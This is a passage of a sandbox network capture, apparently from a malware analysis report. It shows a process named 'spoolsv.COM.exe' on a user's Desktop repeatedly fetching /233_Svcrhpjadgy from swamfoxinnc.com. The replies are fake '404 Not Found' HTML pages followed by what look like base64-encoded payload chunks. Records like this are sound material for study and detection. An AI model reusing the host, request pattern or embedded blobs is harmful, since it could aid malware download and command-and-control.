2024-12-23 06:38:23 UTC	16193	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a Data Ascii: <!doctype html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>404 Not Found</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}html {
2024-12-23 06:38:23 UTC	16384	IN	Data Raw: 35 37 43 6f 32 47 4c 4c 79 45 79 4f 48 61 34 6a 30 44 65 41 6f 6f 58 73 51 6c 45 4c 2f 45 52 39 79 78 6b 72 4d 43 70 30 41 7a 68 53 48 42 52 62 67 4b 50 49 47 79 48 62 51 4f 6e 6d 56 53 62 73 56 49 77 71 44 6d 35 7a 57 43 54 52 58 64 6a 52 63 63 2f 48 4d 37 43 66 64 54 34 45 54 72 34 51 52 4e 53 77 30 66 4b 4f 4d 61 4e 61 7a 2f 68 47 7a 51 73 6a 6e 57 6b 6a 6a 2f 6f 67 72 44 55 59 39 55 36 6c 77 79 77 2b 48 46 6c 75 38 65 48 49 73 4b 38 4f 54 58 31 33 33 61 58 54 38 39 51 63 33 78 6d 46 62 45 35 59 4a 4b 6e 52 31 55 2b 6d 65 73 4e 69 4c 53 77 48 6b 53 48 62 31 4f 65 6e 37 51 75 30 43 57 6d 5a 69 77 73 35 37 31 59 59 59 2b 73 6e 74 5a 72 63 59 2b 76 46 2b 65 46 57 53 58 4c 63 36 66 42 38 4f 49 30 4b 2f 57 4a 30 30 2f 47 66 61 41 54 68 73 65 64 43 38 6f 54 Data Ascii: 57Co2GLLyEyOHa4j0DeAooXsQlEL/ER9yxkrMCp0AzhSHBRbgKPIGyHbQOnmVSbsVIwqDm5zWCTRXdjRcc/HM7CfdT4ETr4QRNSw0fKOMaNaz/hGzQsjnWkjj/ogrDUY9U6lwyw+HFlu8eHIsK8OTX133aXT89Qc3xmFbE5YJKnR1U+mesNiLSwHkSHb1Oen7Qu0CWmZiws571YYY+sntZrcY+vF+eFWSXLc6fB8OI0K/WJ00/GfaAThsedC8oT
2024-12-23 06:38:23 UTC	16384	IN	Data Raw: 5a 4a 76 46 56 68 6b 45 41 34 6b 30 52 43 77 6d 44 6a 47 4f 69 73 37 51 6a 44 65 4d 71 43 61 78 50 50 79 42 4d 57 33 62 4d 35 34 6c 33 2b 70 53 71 59 37 2b 72 2f 53 6b 67 55 62 4a 4d 70 6a 42 6a 33 6e 38 34 6d 37 75 57 31 49 31 51 67 43 49 63 6b 72 46 6b 51 44 63 42 33 41 42 6a 4b 39 35 78 43 36 31 4e 77 42 50 4e 63 78 6f 53 41 52 49 7a 48 37 65 57 6a 63 35 58 6b 70 2f 39 49 75 6f 41 6d 41 6f 67 4a 6d 46 5a 35 32 4c 49 73 67 72 41 41 49 41 67 45 41 70 76 79 66 46 53 39 41 49 79 67 63 66 4b 36 2f 2f 46 35 43 59 6c 78 47 51 53 55 53 4e 53 62 6e 51 79 31 34 71 55 50 64 48 42 74 35 41 4a 72 36 46 46 31 4b 79 50 66 2b 62 52 46 6f 72 2b 6f 76 4c 6a 46 63 7a 48 6b 6a 58 7a 61 58 67 71 35 6c 49 35 77 49 33 61 77 44 34 69 53 53 4d 4b 4f 6e 6d 50 53 48 52 6b 6e 46 Data Ascii: ZJvFVhkEA4k0RCwmDjGOis7QjDeMqCaxPPyBMW3bM54l3+pSqY7+r/SkgUbJMpjBj3n84m7uW1I1QgCIckrFkQDcB3ABjK95xC61NwBPNcxoSARIzH7eWjc5Xkp/9IuoAmAogJmFZ52LIsgrAAIAgEApvyfFS9AIygcfK6//F5CYlxGQSUSNSbnQy14qUPdHBt5AJr6FF1KyPf+bRFor+ovLjFczHkjXzaXgq5lI5wI3awD4iSSMKOnmPSHRknF
2024-12-23 06:38:23 UTC	9335	IN	Data Raw: 6e 45 73 42 71 4c 41 57 49 56 70 54 58 74 33 48 59 58 4e 54 4f 54 36 2b 68 64 31 4c 52 42 30 66 69 31 34 58 79 33 75 36 45 34 59 4e 71 53 35 6d 73 32 78 66 73 71 37 68 4e 4a 4c 73 39 68 42 74 78 51 63 50 35 57 73 52 73 58 4e 59 68 61 6f 69 37 45 44 76 32 4a 66 46 67 4d 44 52 4b 50 59 6e 69 6d 63 78 56 55 59 6c 4f 45 77 39 77 71 48 48 36 42 50 62 7a 70 37 4b 33 58 53 61 62 53 4d 74 77 32 7a 61 42 6d 65 55 6d 4a 54 52 48 36 63 5a 4d 2f 2f 32 31 72 4d 58 4e 35 33 36 56 66 44 58 43 31 53 44 71 75 61 36 74 44 4e 72 32 6d 65 48 65 6d 2b 59 6c 33 52 6b 36 53 49 70 5a 56 35 56 4e 34 32 6c 33 44 30 6a 57 6c 58 74 31 37 6e 32 33 4e 59 52 5a 54 79 38 6b 78 55 68 37 43 30 47 4c 64 5a 63 54 73 76 77 46 79 59 31 50 79 64 4a 78 5a 6d 4b 71 48 77 6e 49 67 49 6e 5a 43 30 Data Ascii: nEsBqLAWIVpTXt3HYXNTOT6+hd1LRB0fi14Xy3u6E4YNqS5ms2xfsq7hNJLs9hBtxQcP5WsRsXNYhaoi7EDv2JfFgMDRKPYnimcxVUYlOEw9wqHH6BPbzp7K3XSabSMtw2zaBmeUmJTRH6cZM//21rMXN536VfDXC1SDqua6tDNr2meHem+Yl3Rk6SIpZV5VN42l3D0jWlXt17n23NYRZTy8kxUh7C0GLdZcTsvwFyY1PydJxZmKqHwnIgInZC0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.10	49825	176.123.5.143	443	7596	C:\Users\user\Desktop\spoolsv.COM.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:38:25 UTC	164	OUT	GET /233_Svcrhpjadgy HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: swamfoxinnc.com
2024-12-23 06:38:26 UTC	191	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Dec 2024 06:38:26 GMT Content-Type: text/html Content-Length: 58296 Connection: close Vary: Accept-Encoding ETag: "674db0b4-e3b8"
2024-12-23 06:38:26 UTC	16193	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a Data Ascii: <!doctype html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>404 Not Found</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}html {
2024-12-23 06:38:26 UTC	16384	IN	Data Raw: 35 37 43 6f 32 47 4c 4c 79 45 79 4f 48 61 34 6a 30 44 65 41 6f 6f 58 73 51 6c 45 4c 2f 45 52 39 79 78 6b 72 4d 43 70 30 41 7a 68 53 48 42 52 62 67 4b 50 49 47 79 48 62 51 4f 6e 6d 56 53 62 73 56 49 77 71 44 6d 35 7a 57 43 54 52 58 64 6a 52 63 63 2f 48 4d 37 43 66 64 54 34 45 54 72 34 51 52 4e 53 77 30 66 4b 4f 4d 61 4e 61 7a 2f 68 47 7a 51 73 6a 6e 57 6b 6a 6a 2f 6f 67 72 44 55 59 39 55 36 6c 77 79 77 2b 48 46 6c 75 38 65 48 49 73 4b 38 4f 54 58 31 33 33 61 58 54 38 39 51 63 33 78 6d 46 62 45 35 59 4a 4b 6e 52 31 55 2b 6d 65 73 4e 69 4c 53 77 48 6b 53 48 62 31 4f 65 6e 37 51 75 30 43 57 6d 5a 69 77 73 35 37 31 59 59 59 2b 73 6e 74 5a 72 63 59 2b 76 46 2b 65 46 57 53 58 4c 63 36 66 42 38 4f 49 30 4b 2f 57 4a 30 30 2f 47 66 61 41 54 68 73 65 64 43 38 6f 54 Data Ascii: 57Co2GLLyEyOHa4j0DeAooXsQlEL/ER9yxkrMCp0AzhSHBRbgKPIGyHbQOnmVSbsVIwqDm5zWCTRXdjRcc/HM7CfdT4ETr4QRNSw0fKOMaNaz/hGzQsjnWkjj/ogrDUY9U6lwyw+HFlu8eHIsK8OTX133aXT89Qc3xmFbE5YJKnR1U+mesNiLSwHkSHb1Oen7Qu0CWmZiws571YYY+sntZrcY+vF+eFWSXLc6fB8OI0K/WJ00/GfaAThsedC8oT
2024-12-23 06:38:26 UTC	16384	IN	Data Raw: 5a 4a 76 46 56 68 6b 45 41 34 6b 30 52 43 77 6d 44 6a 47 4f 69 73 37 51 6a 44 65 4d 71 43 61 78 50 50 79 42 4d 57 33 62 4d 35 34 6c 33 2b 70 53 71 59 37 2b 72 2f 53 6b 67 55 62 4a 4d 70 6a 42 6a 33 6e 38 34 6d 37 75 57 31 49 31 51 67 43 49 63 6b 72 46 6b 51 44 63 42 33 41 42 6a 4b 39 35 78 43 36 31 4e 77 42 50 4e 63 78 6f 53 41 52 49 7a 48 37 65 57 6a 63 35 58 6b 70 2f 39 49 75 6f 41 6d 41 6f 67 4a 6d 46 5a 35 32 4c 49 73 67 72 41 41 49 41 67 45 41 70 76 79 66 46 53 39 41 49 79 67 63 66 4b 36 2f 2f 46 35 43 59 6c 78 47 51 53 55 53 4e 53 62 6e 51 79 31 34 71 55 50 64 48 42 74 35 41 4a 72 36 46 46 31 4b 79 50 66 2b 62 52 46 6f 72 2b 6f 76 4c 6a 46 63 7a 48 6b 6a 58 7a 61 58 67 71 35 6c 49 35 77 49 33 61 77 44 34 69 53 53 4d 4b 4f 6e 6d 50 53 48 52 6b 6e 46 Data Ascii: ZJvFVhkEA4k0RCwmDjGOis7QjDeMqCaxPPyBMW3bM54l3+pSqY7+r/SkgUbJMpjBj3n84m7uW1I1QgCIckrFkQDcB3ABjK95xC61NwBPNcxoSARIzH7eWjc5Xkp/9IuoAmAogJmFZ52LIsgrAAIAgEApvyfFS9AIygcfK6//F5CYlxGQSUSNSbnQy14qUPdHBt5AJr6FF1KyPf+bRFor+ovLjFczHkjXzaXgq5lI5wI3awD4iSSMKOnmPSHRknF
2024-12-23 06:38:26 UTC	9335	IN	Data Raw: 6e 45 73 42 71 4c 41 57 49 56 70 54 58 74 33 48 59 58 4e 54 4f 54 36 2b 68 64 31 4c 52 42 30 66 69 31 34 58 79 33 75 36 45 34 59 4e 71 53 35 6d 73 32 78 66 73 71 37 68 4e 4a 4c 73 39 68 42 74 78 51 63 50 35 57 73 52 73 58 4e 59 68 61 6f 69 37 45 44 76 32 4a 66 46 67 4d 44 52 4b 50 59 6e 69 6d 63 78 56 55 59 6c 4f 45 77 39 77 71 48 48 36 42 50 62 7a 70 37 4b 33 58 53 61 62 53 4d 74 77 32 7a 61 42 6d 65 55 6d 4a 54 52 48 36 63 5a 4d 2f 2f 32 31 72 4d 58 4e 35 33 36 56 66 44 58 43 31 53 44 71 75 61 36 74 44 4e 72 32 6d 65 48 65 6d 2b 59 6c 33 52 6b 36 53 49 70 5a 56 35 56 4e 34 32 6c 33 44 30 6a 57 6c 58 74 31 37 6e 32 33 4e 59 52 5a 54 79 38 6b 78 55 68 37 43 30 47 4c 64 5a 63 54 73 76 77 46 79 59 31 50 79 64 4a 78 5a 6d 4b 71 48 77 6e 49 67 49 6e 5a 43 30 Data Ascii: nEsBqLAWIVpTXt3HYXNTOT6+hd1LRB0fi14Xy3u6E4YNqS5ms2xfsq7hNJLs9hBtxQcP5WsRsXNYhaoi7EDv2JfFgMDRKPYnimcxVUYlOEw9wqHH6BPbzp7K3XSabSMtw2zaBmeUmJTRH6cZM//21rMXN536VfDXC1SDqua6tDNr2meHem+Yl3Rk6SIpZV5VN42l3D0jWlXt17n23NYRZTy8kxUh7C0GLdZcTsvwFyY1PydJxZmKqHwnIgInZC0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.10	49833	176.123.5.143	443	7596	C:\Users\user\Desktop\spoolsv.COM.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:38:28 UTC	164	OUT	GET /233_Svcrhpjadgy HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: swamfoxinnc.com
2024-12-23 06:38:30 UTC	191	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Dec 2024 06:38:29 GMT Content-Type: text/html Content-Length: 58296 Connection: close Vary: Accept-Encoding ETag: "674db0b4-e3b8"
2024-12-23 06:38:30 UTC	16193	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a Data Ascii: <!doctype html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>404 Not Found</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}html {
2024-12-23 06:38:30 UTC	16384	IN	Data Raw: 35 37 43 6f 32 47 4c 4c 79 45 79 4f 48 61 34 6a 30 44 65 41 6f 6f 58 73 51 6c 45 4c 2f 45 52 39 79 78 6b 72 4d 43 70 30 41 7a 68 53 48 42 52 62 67 4b 50 49 47 79 48 62 51 4f 6e 6d 56 53 62 73 56 49 77 71 44 6d 35 7a 57 43 54 52 58 64 6a 52 63 63 2f 48 4d 37 43 66 64 54 34 45 54 72 34 51 52 4e 53 77 30 66 4b 4f 4d 61 4e 61 7a 2f 68 47 7a 51 73 6a 6e 57 6b 6a 6a 2f 6f 67 72 44 55 59 39 55 36 6c 77 79 77 2b 48 46 6c 75 38 65 48 49 73 4b 38 4f 54 58 31 33 33 61 58 54 38 39 51 63 33 78 6d 46 62 45 35 59 4a 4b 6e 52 31 55 2b 6d 65 73 4e 69 4c 53 77 48 6b 53 48 62 31 4f 65 6e 37 51 75 30 43 57 6d 5a 69 77 73 35 37 31 59 59 59 2b 73 6e 74 5a 72 63 59 2b 76 46 2b 65 46 57 53 58 4c 63 36 66 42 38 4f 49 30 4b 2f 57 4a 30 30 2f 47 66 61 41 54 68 73 65 64 43 38 6f 54 Data Ascii: 57Co2GLLyEyOHa4j0DeAooXsQlEL/ER9yxkrMCp0AzhSHBRbgKPIGyHbQOnmVSbsVIwqDm5zWCTRXdjRcc/HM7CfdT4ETr4QRNSw0fKOMaNaz/hGzQsjnWkjj/ogrDUY9U6lwyw+HFlu8eHIsK8OTX133aXT89Qc3xmFbE5YJKnR1U+mesNiLSwHkSHb1Oen7Qu0CWmZiws571YYY+sntZrcY+vF+eFWSXLc6fB8OI0K/WJ00/GfaAThsedC8oT
2024-12-23 06:38:30 UTC	16384	IN	Data Raw: 5a 4a 76 46 56 68 6b 45 41 34 6b 30 52 43 77 6d 44 6a 47 4f 69 73 37 51 6a 44 65 4d 71 43 61 78 50 50 79 42 4d 57 33 62 4d 35 34 6c 33 2b 70 53 71 59 37 2b 72 2f 53 6b 67 55 62 4a 4d 70 6a 42 6a 33 6e 38 34 6d 37 75 57 31 49 31 51 67 43 49 63 6b 72 46 6b 51 44 63 42 33 41 42 6a 4b 39 35 78 43 36 31 4e 77 42 50 4e 63 78 6f 53 41 52 49 7a 48 37 65 57 6a 63 35 58 6b 70 2f 39 49 75 6f 41 6d 41 6f 67 4a 6d 46 5a 35 32 4c 49 73 67 72 41 41 49 41 67 45 41 70 76 79 66 46 53 39 41 49 79 67 63 66 4b 36 2f 2f 46 35 43 59 6c 78 47 51 53 55 53 4e 53 62 6e 51 79 31 34 71 55 50 64 48 42 74 35 41 4a 72 36 46 46 31 4b 79 50 66 2b 62 52 46 6f 72 2b 6f 76 4c 6a 46 63 7a 48 6b 6a 58 7a 61 58 67 71 35 6c 49 35 77 49 33 61 77 44 34 69 53 53 4d 4b 4f 6e 6d 50 53 48 52 6b 6e 46 Data Ascii: ZJvFVhkEA4k0RCwmDjGOis7QjDeMqCaxPPyBMW3bM54l3+pSqY7+r/SkgUbJMpjBj3n84m7uW1I1QgCIckrFkQDcB3ABjK95xC61NwBPNcxoSARIzH7eWjc5Xkp/9IuoAmAogJmFZ52LIsgrAAIAgEApvyfFS9AIygcfK6//F5CYlxGQSUSNSbnQy14qUPdHBt5AJr6FF1KyPf+bRFor+ovLjFczHkjXzaXgq5lI5wI3awD4iSSMKOnmPSHRknF
2024-12-23 06:38:30 UTC	9335	IN	Data Raw: 6e 45 73 42 71 4c 41 57 49 56 70 54 58 74 33 48 59 58 4e 54 4f 54 36 2b 68 64 31 4c 52 42 30 66 69 31 34 58 79 33 75 36 45 34 59 4e 71 53 35 6d 73 32 78 66 73 71 37 68 4e 4a 4c 73 39 68 42 74 78 51 63 50 35 57 73 52 73 58 4e 59 68 61 6f 69 37 45 44 76 32 4a 66 46 67 4d 44 52 4b 50 59 6e 69 6d 63 78 56 55 59 6c 4f 45 77 39 77 71 48 48 36 42 50 62 7a 70 37 4b 33 58 53 61 62 53 4d 74 77 32 7a 61 42 6d 65 55 6d 4a 54 52 48 36 63 5a 4d 2f 2f 32 31 72 4d 58 4e 35 33 36 56 66 44 58 43 31 53 44 71 75 61 36 74 44 4e 72 32 6d 65 48 65 6d 2b 59 6c 33 52 6b 36 53 49 70 5a 56 35 56 4e 34 32 6c 33 44 30 6a 57 6c 58 74 31 37 6e 32 33 4e 59 52 5a 54 79 38 6b 78 55 68 37 43 30 47 4c 64 5a 63 54 73 76 77 46 79 59 31 50 79 64 4a 78 5a 6d 4b 71 48 77 6e 49 67 49 6e 5a 43 30 Data Ascii: nEsBqLAWIVpTXt3HYXNTOT6+hd1LRB0fi14Xy3u6E4YNqS5ms2xfsq7hNJLs9hBtxQcP5WsRsXNYhaoi7EDv2JfFgMDRKPYnimcxVUYlOEw9wqHH6BPbzp7K3XSabSMtw2zaBmeUmJTRH6cZM//21rMXN536VfDXC1SDqua6tDNr2meHem+Yl3Rk6SIpZV5VN42l3D0jWlXt17n23NYRZTy8kxUh7C0GLdZcTsvwFyY1PydJxZmKqHwnIgInZC0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.10	49844	176.123.5.143	443	7596	C:\Users\user\Desktop\spoolsv.COM.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:38:32 UTC	164	OUT	GET /233_Svcrhpjadgy HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: swamfoxinnc.com
2024-12-23 06:38:33 UTC	191	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Dec 2024 06:38:33 GMT Content-Type: text/html Content-Length: 58296 Connection: close Vary: Accept-Encoding ETag: "674db0b4-e3b8"
2024-12-23 06:38:33 UTC	16193	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a Data Ascii: <!doctype html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>404 Not Found</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}html {
2024-12-23 06:38:33 UTC	16384	IN	Data Raw: 35 37 43 6f 32 47 4c 4c 79 45 79 4f 48 61 34 6a 30 44 65 41 6f 6f 58 73 51 6c 45 4c 2f 45 52 39 79 78 6b 72 4d 43 70 30 41 7a 68 53 48 42 52 62 67 4b 50 49 47 79 48 62 51 4f 6e 6d 56 53 62 73 56 49 77 71 44 6d 35 7a 57 43 54 52 58 64 6a 52 63 63 2f 48 4d 37 43 66 64 54 34 45 54 72 34 51 52 4e 53 77 30 66 4b 4f 4d 61 4e 61 7a 2f 68 47 7a 51 73 6a 6e 57 6b 6a 6a 2f 6f 67 72 44 55 59 39 55 36 6c 77 79 77 2b 48 46 6c 75 38 65 48 49 73 4b 38 4f 54 58 31 33 33 61 58 54 38 39 51 63 33 78 6d 46 62 45 35 59 4a 4b 6e 52 31 55 2b 6d 65 73 4e 69 4c 53 77 48 6b 53 48 62 31 4f 65 6e 37 51 75 30 43 57 6d 5a 69 77 73 35 37 31 59 59 59 2b 73 6e 74 5a 72 63 59 2b 76 46 2b 65 46 57 53 58 4c 63 36 66 42 38 4f 49 30 4b 2f 57 4a 30 30 2f 47 66 61 41 54 68 73 65 64 43 38 6f 54 Data Ascii: 57Co2GLLyEyOHa4j0DeAooXsQlEL/ER9yxkrMCp0AzhSHBRbgKPIGyHbQOnmVSbsVIwqDm5zWCTRXdjRcc/HM7CfdT4ETr4QRNSw0fKOMaNaz/hGzQsjnWkjj/ogrDUY9U6lwyw+HFlu8eHIsK8OTX133aXT89Qc3xmFbE5YJKnR1U+mesNiLSwHkSHb1Oen7Qu0CWmZiws571YYY+sntZrcY+vF+eFWSXLc6fB8OI0K/WJ00/GfaAThsedC8oT
2024-12-23 06:38:33 UTC	16384	IN	Data Raw: 5a 4a 76 46 56 68 6b 45 41 34 6b 30 52 43 77 6d 44 6a 47 4f 69 73 37 51 6a 44 65 4d 71 43 61 78 50 50 79 42 4d 57 33 62 4d 35 34 6c 33 2b 70 53 71 59 37 2b 72 2f 53 6b 67 55 62 4a 4d 70 6a 42 6a 33 6e 38 34 6d 37 75 57 31 49 31 51 67 43 49 63 6b 72 46 6b 51 44 63 42 33 41 42 6a 4b 39 35 78 43 36 31 4e 77 42 50 4e 63 78 6f 53 41 52 49 7a 48 37 65 57 6a 63 35 58 6b 70 2f 39 49 75 6f 41 6d 41 6f 67 4a 6d 46 5a 35 32 4c 49 73 67 72 41 41 49 41 67 45 41 70 76 79 66 46 53 39 41 49 79 67 63 66 4b 36 2f 2f 46 35 43 59 6c 78 47 51 53 55 53 4e 53 62 6e 51 79 31 34 71 55 50 64 48 42 74 35 41 4a 72 36 46 46 31 4b 79 50 66 2b 62 52 46 6f 72 2b 6f 76 4c 6a 46 63 7a 48 6b 6a 58 7a 61 58 67 71 35 6c 49 35 77 49 33 61 77 44 34 69 53 53 4d 4b 4f 6e 6d 50 53 48 52 6b 6e 46 Data Ascii: ZJvFVhkEA4k0RCwmDjGOis7QjDeMqCaxPPyBMW3bM54l3+pSqY7+r/SkgUbJMpjBj3n84m7uW1I1QgCIckrFkQDcB3ABjK95xC61NwBPNcxoSARIzH7eWjc5Xkp/9IuoAmAogJmFZ52LIsgrAAIAgEApvyfFS9AIygcfK6//F5CYlxGQSUSNSbnQy14qUPdHBt5AJr6FF1KyPf+bRFor+ovLjFczHkjXzaXgq5lI5wI3awD4iSSMKOnmPSHRknF
2024-12-23 06:38:33 UTC	9335	IN	Data Raw: 6e 45 73 42 71 4c 41 57 49 56 70 54 58 74 33 48 59 58 4e 54 4f 54 36 2b 68 64 31 4c 52 42 30 66 69 31 34 58 79 33 75 36 45 34 59 4e 71 53 35 6d 73 32 78 66 73 71 37 68 4e 4a 4c 73 39 68 42 74 78 51 63 50 35 57 73 52 73 58 4e 59 68 61 6f 69 37 45 44 76 32 4a 66 46 67 4d 44 52 4b 50 59 6e 69 6d 63 78 56 55 59 6c 4f 45 77 39 77 71 48 48 36 42 50 62 7a 70 37 4b 33 58 53 61 62 53 4d 74 77 32 7a 61 42 6d 65 55 6d 4a 54 52 48 36 63 5a 4d 2f 2f 32 31 72 4d 58 4e 35 33 36 56 66 44 58 43 31 53 44 71 75 61 36 74 44 4e 72 32 6d 65 48 65 6d 2b 59 6c 33 52 6b 36 53 49 70 5a 56 35 56 4e 34 32 6c 33 44 30 6a 57 6c 58 74 31 37 6e 32 33 4e 59 52 5a 54 79 38 6b 78 55 68 37 43 30 47 4c 64 5a 63 54 73 76 77 46 79 59 31 50 79 64 4a 78 5a 6d 4b 71 48 77 6e 49 67 49 6e 5a 43 30 Data Ascii: nEsBqLAWIVpTXt3HYXNTOT6+hd1LRB0fi14Xy3u6E4YNqS5ms2xfsq7hNJLs9hBtxQcP5WsRsXNYhaoi7EDv2JfFgMDRKPYnimcxVUYlOEw9wqHH6BPbzp7K3XSabSMtw2zaBmeUmJTRH6cZM//21rMXN536VfDXC1SDqua6tDNr2meHem+Yl3Rk6SIpZV5VN42l3D0jWlXt17n23NYRZTy8kxUh7C0GLdZcTsvwFyY1PydJxZmKqHwnIgInZC0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.10	49855	176.123.5.143	443	7596	C:\Users\user\Desktop\spoolsv.COM.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:38:35 UTC	164	OUT	GET /233_Svcrhpjadgy HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: swamfoxinnc.com
2024-12-23 06:38:36 UTC	191	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Dec 2024 06:38:36 GMT Content-Type: text/html Content-Length: 58296 Connection: close Vary: Accept-Encoding ETag: "674db0b4-e3b8"
